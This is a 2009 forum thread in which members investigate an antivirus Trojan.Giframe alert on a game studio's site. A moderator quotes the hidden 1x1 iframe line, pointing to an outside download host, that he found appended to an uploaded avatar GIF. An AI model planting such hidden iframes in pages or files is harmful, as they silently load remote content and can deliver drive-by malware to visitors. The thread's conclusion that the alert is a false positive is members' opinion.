Unknown Worlds Virus

BlackHawkBlackHawk Join Date: 2008-06-17 Member: 64467Members
in Off-Topic
<div class="IPBDescription">Trojan?</div>When ever I enter the website it says it has a security issue. Namely a Trojan.Giframe. This may have been discussed before, but I couldn't find it using search. I would just like to know if its a false alarm or something real. A quick and simple answer would be nice.
Off Topic Disagree Agree Awesome

Comments

  • KungFuDiscoMonkeyKungFuDiscoMonkey Creator of ns_altair 日本福岡県 Join Date: 2003-03-15 Member: 14555Members, NS1 Playtester, Reinforced - Onos
    I have not seen anything so I would guess something on your end.
    Off Topic Disagree Agree Awesome
  • lolfighterlolfighter Snark, Dire Join Date: 2003-04-20 Member: 15693Members
    edited June 2009
    "It says" is a bit vague. It might help if we know what "it" is. Is this the site itself saying it? The browser (if so, what browser)? Your antivirus/anti-malware/security package?
    Off Topic Disagree Agree Awesome
  • TychoCelchuuuTychoCelchuuu Anememone Join Date: 2002-03-23 Member: 345Members
    <!--quoteo(post=1710972:date=Jun 7 2009, 05:50 PM:name=lolfighter)--><div class='quotetop'>QUOTE (lolfighter @ Jun 7 2009, 05:50 PM) <a href="index.php?act=findpost&pid=1710972"><{POST_SNAPBACK}></a></div><div class='quotemain'><!--quotec-->"It says" is a bit vague. It might help if we know what "it" is. Is this the site itself saying it? The browser (if so, what browser)? Your antivirus/anti-malware/security package?<!--QuoteEnd--></div><!--QuoteEEnd-->
    Yeah, I was going to try to help out but I wasn't even sure where to start.
    Off Topic Disagree Agree Awesome
  • ThaldarinThaldarin Alonzi&#33; Join Date: 2003-07-15 Member: 18173Members, Constellation
    As others have said in as few words, do a virus scan yourself.

    Secondly let us know who is your ISP, what browser you use and specifically which URL.

    I've used IE, Safari, Chrome, FF & Opera and got nothing wrong with the site and forums when doing so.
    Off Topic Disagree Agree Awesome
  • SpoogeSpooge Thunderbolt missile in your cheerios Join Date: 2002-01-25 Member: 67Members
    If you haven't already, I'd suggest running a scan with Malewarebytes: <a href="http://malwarebytes.org/" target="_blank">http://malwarebytes.org/</a>
    Off Topic Disagree Agree Awesome
  • BlackHawkBlackHawk Join Date: 2008-06-17 Member: 64467Members
    I suppose I was being vague (to be mild) and Apologize for it. what I use is Norton, and before I get yelled out for it, I have used others and found Norton to the most reliable in recent years, and I have never found it to be the power hogger it is claimed to be. Also after looking at the report it seems that is is someone's avatar upload that is triggering the alarm.

    <a href="http://safeweb.norton.com/report/show?url=unknownworlds.com" target="_blank">http://safeweb.norton.com/report/show?url=unknownworlds.com</a>

    here the location of said Trojan: (http://www.unknownworlds.com/forums/uploads/av-8010.gif).

    I guess that this is nothing to worry about. I just don't like the idea of a Trojan at all. like anyone I have had my dealing with them in the past and hated every second of it.

    {flame suit on}
    Off Topic Disagree Agree Awesome
  • lolfighterlolfighter Snark, Dire Join Date: 2003-04-20 Member: 15693Members
    That file seems to be completely harmless. Back when I used it, Norton did get some false positives here and there (it's a fairly common thing, and better than false negatives). There seems to be no cause for alarm. Try to see if you can tell Norton to ignore that URL or something similar.
    Off Topic Disagree Agree Awesome
  • BlackHawkBlackHawk Join Date: 2008-06-17 Member: 64467Members
    meh, as long as it doesn't affect me in anyway I'm fine. Just wanted to be sure.
    Off Topic Disagree Agree Awesome
  • ZaggyZaggy NullPointerException The Netherlands Join Date: 2003-12-10 Member: 24214Forum Moderators, NS2 Playtester, Reinforced - Onos, Subnautica Playtester
    I opened it with a texteditor and found this at the end:

    <!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1--><iframe width=1 height=1 src="http://download.getmirar.com/875455"> </iframe><!--c2--></div><!--ec2-->

    Which is a dead link.

    Triggers a few AVs actually: <a href="http://www.virustotal.com/analisis/abdff809aebf27f90b9d1568b1e3d4b44e487e44f77cdb3effb63b6e3fa508ae-1244460300" target="_blank">http://www.virustotal.com/analisis/abdff80...08ae-1244460300</a>
    Off Topic Disagree Agree Awesome
  • ShockehShockeh If a packet drops on the web and nobody&#39;s near to see it... Join Date: 2002-11-19 Member: 9336NS1 Playtester, Forum Moderators, Constellation
    That gif triggers mine too, incidentally.

    Maybe something the UWE guys should be alerted to, if there's things embedded into .gif's hiding about.
    Off Topic Disagree Agree Awesome
  • BlackHawkBlackHawk Join Date: 2008-06-17 Member: 64467Members
    So I should take it that this is not a false positive?
    Off Topic Disagree Agree Awesome
  • lolfighterlolfighter Snark, Dire Join Date: 2003-04-20 Member: 15693Members
    That site (which is apparently defunct now) was probably malware-infested or something, which is why Norton flips out when it sees it. However, it's a gif. That line does absolutely nothing inside a gif. It's just wasted data. My money is still on false positive.
    Off Topic Disagree Agree Awesome
Sign In or Register to comment.